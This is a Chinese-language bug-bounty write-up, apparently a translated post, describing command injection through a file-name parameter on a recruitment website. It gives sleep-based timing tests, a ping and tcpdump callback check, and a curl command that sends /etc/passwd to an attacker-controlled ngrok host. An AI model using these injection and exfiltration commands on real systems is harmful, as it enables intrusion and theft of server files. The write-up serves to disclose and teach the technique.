第十三篇:命令执行

原文:Command Injection PoC

漏洞:文件名导致RCE

作者:NoGe

难度:中

我在某个招聘网站发现了一个命令注入漏洞,很有趣的是它的注入参数居然是文件名,下面是漏洞复现过程!

首先我用命令”sleep 5”来对参数进行测试,发现响应延迟了5-6秒

我再次用命令”sleep 10”来进行验证,发现响应延迟了10-11秒,这让我确信这里确实存在漏洞

接着我尝试去ping我的服务器”ping -c 5 < VPS IP >”,并在服务器上运行”tcpdump -i < interface > -n icmp”进行抓包

下面我在VPS上用ngrok搭建web服务”./ngrok http 80”,然后在客户端文件名参数上执行”curl blablabla.ngrok.io”

现在看看ngrok web界面的响应,我收到来自IP地址000.000.39.169的request请求,这和上面的ICMP请求IP一致

现在我可以使用命令”curl -F shl=@/etc/passwd blabla.ngrok.io”来读取服务器上的文件并发送到我的ngrok地址。

1
curl -F shl=@/etc/passwd blabla.ngrok.io

文章目录
  1. 1. 原文:Command Injection PoC
  2. 2. 漏洞:文件名导致RCE
  3. 3. 作者:NoGe
  4. 4. 难度:中
  5. 5. 我在某个招聘网站发现了一个命令注入漏洞,很有趣的是它的注入参数居然是文件名,下面是漏洞复现过程!
  6. 6. 首先我用命令”sleep 5”来对参数进行测试,发现响应延迟了5-6秒
  7. 7. 我再次用命令”sleep 10”来进行验证,发现响应延迟了10-11秒,这让我确信这里确实存在漏洞
  8. 8. 接着我尝试去ping我的服务器”ping -c 5 < VPS IP >”,并在服务器上运行”tcpdump -i < interface > -n icmp”进行抓包
  9. 9. 下面我在VPS上用ngrok搭建web服务”./ngrok http 80”,然后在客户端文件名参数上执行”curl blablabla.ngrok.io”
  10. 10. 现在看看ngrok web界面的响应,我收到来自IP地址000.000.39.169的request请求,这和上面的ICMP请求IP一致
  11. 11. 现在我可以使用命令”curl -F shl=@/etc/passwd blabla.ngrok.io”来读取服务器上的文件并发送到我的ngrok地址。
|